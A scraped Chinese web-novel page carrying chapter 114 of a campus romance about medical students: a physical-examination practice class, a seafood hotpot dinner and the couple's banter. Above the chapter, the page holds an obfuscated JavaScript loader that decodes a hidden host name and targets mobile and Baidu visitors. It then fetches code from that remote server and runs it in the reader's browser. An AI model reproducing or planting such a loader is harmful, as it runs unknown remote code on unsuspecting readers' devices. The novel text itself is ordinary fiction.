妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第114章(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

老师简单地讲了一遍操作要点,就要进入演示环节:“来一位男同学当模特,谁自告奋勇一下?”

说完也没等谁真的自告奋勇,直接就在前排抓了一位男生:“就你吧,穿灰色连帽卫衣的那位男同学,来来来,上来帮老师一个忙,当一下sp。”

老师说的sp,全称是“standardized patient”,标准化病人,或者“simulated patient”,模拟病人,是经过专门培训的健康人或真实慢性病病人,会扮演特定疾病角色,辅助医学生、医生的教学和考试。

他们是活体教具和考官,在演出时有很严格的脚本,所以从这个角度上讲,上台的同学甚至不能称作“sp”,就是一个普通的人体模特。

老师让那位同学躺到检查床上,同时将上衣拉上去,暴露整个腹部。

同学们全都围了过去,有跑得慢的,挤不到前面,干脆站到凳子上去看。

“我们可以指导病人屈腿,帮助腹部放松,我们的站位是在病人的右侧,暴露范围是剑突至耻骨联合……”

老师一边讲解,一边演示操作。

“我们要熟练掌握的体表标志有肋弓下缘、腹上角、腹中线、腹直肌外缘、髂前上棘、腹股沟和脐……”

老师说啊说,语速相当快,大家不停地往笔记本上记笔记,还是来不及。

有同学说老师能不能讲慢点,老师摆摆手:“你们现在先看操作,这些内容考研或者执医考试的操作视频里都有,到时候学委会发给你们,下课回去再慢慢看也不迟。”

大家这才齐松一口气,开始认真看老师的手法。

体格检查分为视听叩触四部分,视诊主要是看,观察腹部外形、腹壁静脉和皮肤状态那些,听诊要关注肠鸣音,是要用听诊器按照左右上下的顺序去听,去数肠鸣音的次数的。

“正常是每分钟四到五次,大于十次且肠鸣音清亮高亢,就是肠鸣音亢进了,三到五分钟听不到肠鸣音,就是肠鸣音消失。”

说到这里老师提问:“肠鸣音亢进和肠鸣音消失分别提示什么疾病?”

“急性肠炎、消化道出血。”有同学回答道,“或者喝了泻药,都有可能出现肠鸣音亢进。”

“没错,如果同时还伴有气过水声,也就是金属音,就要警惕机械性肠梗阻的早期,这是执医考试一个很重要的考点,大家要记住。”老师满意地点点头,“肠鸣音消失则提示麻痹性肠梗阻、急性弥漫性腹膜炎,或者绞窄性肠梗阻晚期。”

接着是叩诊,老师还特地强调了一遍手势:“左手中指中间这一节紧贴皮肤,指尖和其余都要抬起来,不要接触到体表,右手中指叩击的时候要和体表垂直,利用手腕摆动的力量,不是狠狠用力戳下去。”

又强调难点是移动性浊音的检查,这是判断有没有腹水的,当模特的同学是健康人,当然是叩不出移动性浊音的,只有鼓音。

艾青禾正琢磨这个浊音得以后去实习才有机会见识到了,突然见一旁的孟彦卿突然鼓起脸,用右手中指往自己脸上叩了几下。

她一愣:“???”这是怎么了???

但也没出声问,只看了一眼便赶紧将目光重新投向正在示范操作的老师手上。

直到最后的压痛和反跳痛讲完,老师让大家分组去练习,“各位男同学,你们表现的时候到了,发扬一下友爱互助的优良传统。”

散开之后,孟彦卿才说:“那个浊音的,我大概有办法了。”

艾青禾一愣:“……什么办法?”

“你听听。”他鼓起脸,用右手中指的末端有节奏地敲了几下,问道,“像不像鼓音?”

艾青禾愣愣地点头:“是挺像的,可是……”

她话还没说完,孟彦卿就从一旁的桌上拿过他的水杯,喝了一口水,也不往下咽,含着水再次鼓起腮帮子。

又用刚才的动作敲了几下脸。

将水咽下去之后,才问她:“听出区别了吗?”

“闷闷的,有点像那个……”艾青禾想了想,“没熟的西瓜?”

孟彦卿点点头:“这就是浊音。”

艾青禾震惊:“……真的吗?你没骗我?”

“一会儿叩肝浊音界的时候我们再仔细听听。”孟彦卿也不敢把话说得太绝对,“我觉得应该差不多。”

“什么差不多?”陈嘉渝这时问道。

艾青禾立刻就将孟彦卿刚做的小实验告诉他,陈嘉渝听完立刻依葫芦画瓢来了一遍。

他的动作又吸引了闻婧和其他同学,艾青禾想看热闹,不厌其烦地将孟彦卿的小实验重复了一遍又一遍,每个人听完都会做出和陈嘉渝一模一样的动作。

艾青禾就站在一旁,看着大家复制粘贴似的敲腮帮子,发出一阵嘿嘿的笑声。

孟彦卿:“……”怎么这也能玩起来:)

一群人聚在一起敲腮帮子还是太显眼了,很快就把老师也吸引了过来,等搞清楚他们在做什么,笑着给孟彦卿竖了一下大拇指。

“是个有用的小窍门。”

孟彦卿抿着唇笑笑,扭头看艾青禾也正拿手指敲自己的脸,敲一下皱一下眉,便笑着捏住她的手指。

“要用手指尖端的肉去敲,不要用指甲。”顿了顿,他摸摸艾青禾手指的指甲边缘,“你该剪指甲了。”

艾青禾有点不好意思地嘿嘿两声。

他们组做模特的是陈嘉渝和另一位男同学,其实也没有真的做到人人都真的上手练习,一来人多,二来有的同学不好意思。

艾青禾就属于不好意思的那个,抱着笔记本在一旁看陈嘉渝还要调整呼吸配合同学练习肝脏触诊,觉得也是不容易。

这模特也不是谁想当就能当的。

艾青禾没有上手的意思,孟彦卿也不强求,反正课后他们会私下练习的,问题不大。

这种实验课通常结束的时间会早一点,原本下午五点放学,四点半一过,就陆续有班级下课了。

陈嘉渝还没来得及从充当检查床的实验桌上起来,赵凡就从门外冲了进来,一把捂住他的肚子。

嚷嚷道:“快,拿纸巾来,盖上肚脐眼,不然该着凉了!”

大家笑着揶揄他:“少爷也是条件不好了,家里孩子只能盖纸巾了。”

“没办法,现在生意不好做。”赵凡摇头晃脑地打官腔。

大家嘻嘻哈哈地往外走,艾青禾和闻婧凑到一起看晚上去哪儿吃比较好。

“吃点清淡的吧,我看清谷现在有点上火了。”杨梦津从后面往前凑,说了一句,又冲一旁努努嘴。

艾青禾扭头一看,发现杜清谷的鼻尖上居然拱起了一颗好大的红色痘痘。

不由得一惊:“……啊?早上不是还没有的吗,一个中午就长起来啦?”

“去校门口的凉茶铺买瓶凉茶喝喝,心火旺啊你。”闻婧也回头看了一眼。

杜清谷扁扁嘴,蔫蔫的不吭声。

失恋对人的打击确实是不小,加上是初恋,那就更让人难过了。

大家都体谅她的心情,一边往校外走,一边安慰她。

赵凡甚至说:“都说忘掉旧爱的最有效方式就是找一个更好的新欢,要不我给你介绍一个?家里肯定倍儿有钱,捯饬捯饬虽然没我这么帅吧,肯定也不丑,你是要国内学历的,清北复交那些,还是要国外学历的?八大藤校的行不行?”

不仅信誓旦旦,还十分严谨:“能接受异地吗?京市申城和陵城我都有认识的,容城也有,但我认识的在容城的几个都要么有对象了,要么比较会玩,我不是很建议你跟他们在一起。”

杜清谷:“……”

她脸抽了一下,摇摇头:“不用了不用了……我、我毕业之前不会再考虑这种事了。”

“也别因噎废食,该谈还是得谈。”艾青禾说了一句,“趁着读书时期有空,可以多谈几次,多认识人,看看自己喜欢什么样的。”

这还是当年她跟孟彦卿在一起之前,去听的那一场关于婚恋和择偶的讲座上,主讲的杨教授说的呢,她一直都记得。

“算了,没意思。”杜清谷摇摇头,表现得意兴阑珊。

“不谈也好,我们实习太忙了,估计你也没心思想那些乱七八糟的了。”闻婧接了一句。

大家最后决定去吃海鲜火锅,店里的招牌是脆肉鲩,他们九个人,要了两条大的,还要了小鲍鱼、生蚝、鱿鱼和基围虾这些常吃的菜。

陈嘉渝怕浪费,还特地交代拆下来的鱼骨要用椒盐做。

吃到最后,再将煮到八成熟的两碗粥米倒进去,加入虫草花,继续咕嘟到汤稠米开花,一碗鲜美的海鲜粥就好了。

鲜甜的热粥从喉咙滑到胃里,成为今晚这顿大餐最熨贴的收尾。

“这粥要是放到网上,会不会有人说我们高嘌呤饮食?”严自恒摸着肚子开玩笑。

“管这么多,又不是天天吃。”闻婧笑着应道,“这种好事可以多来点,下周还玩猜一猜吗?”

下周的事下个星期再说。

上课的节奏就这样一句晃悠到周末,艾青禾习惯了和孟彦卿分开上课的日子,觉得自己可以开始慢慢适应彼此越来越忙碌的节奏。

但她想得开,孟彦卿却有点难。

他有三年半的课堂时间,是左右坐着室友,抬眼就是艾青禾的,可现在呢?前后左右都是不太熟的同学,难免会觉得不适。

所以到了周五晚上,他刚从大学城回来,就迫不急待地将艾青禾叫了出去。

艾青禾对此感到哭笑不得:“有这么不习惯吗?”

“非常,实验课还好,其他课就有点难熬了,我想讲悄悄话都找不到人。”孟彦卿叹气。

以前他上课走神的时候,总会下意识盯着前面的艾青禾的丸子头琢磨,是不是新的头绳或者发卡,是直接卷起来的,还是经过精心编发的?

“我现在一盯着前面,啊,苗苗什么时候剪的短发,也没说一声?不对,这不是苗苗……然后我就清醒了。”

他说完,叹着气靠在艾青禾的肩膀上。

艾青禾哈哈大笑:“我觉得还好诶,我现在都跟严自恒说悄悄话了。”

孟彦卿一噎,随即用脑袋在她脖颈上乱拱一气。

作者有话说:

小禾苗:悄悄话跟谁不能说啊,没事的

小孟:……我就只和我女朋友说

小禾苗:你这样显得我很没原则诶

小孟:怎么你以前有吗

小禾苗:好好说话!不许阴阳怪气

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间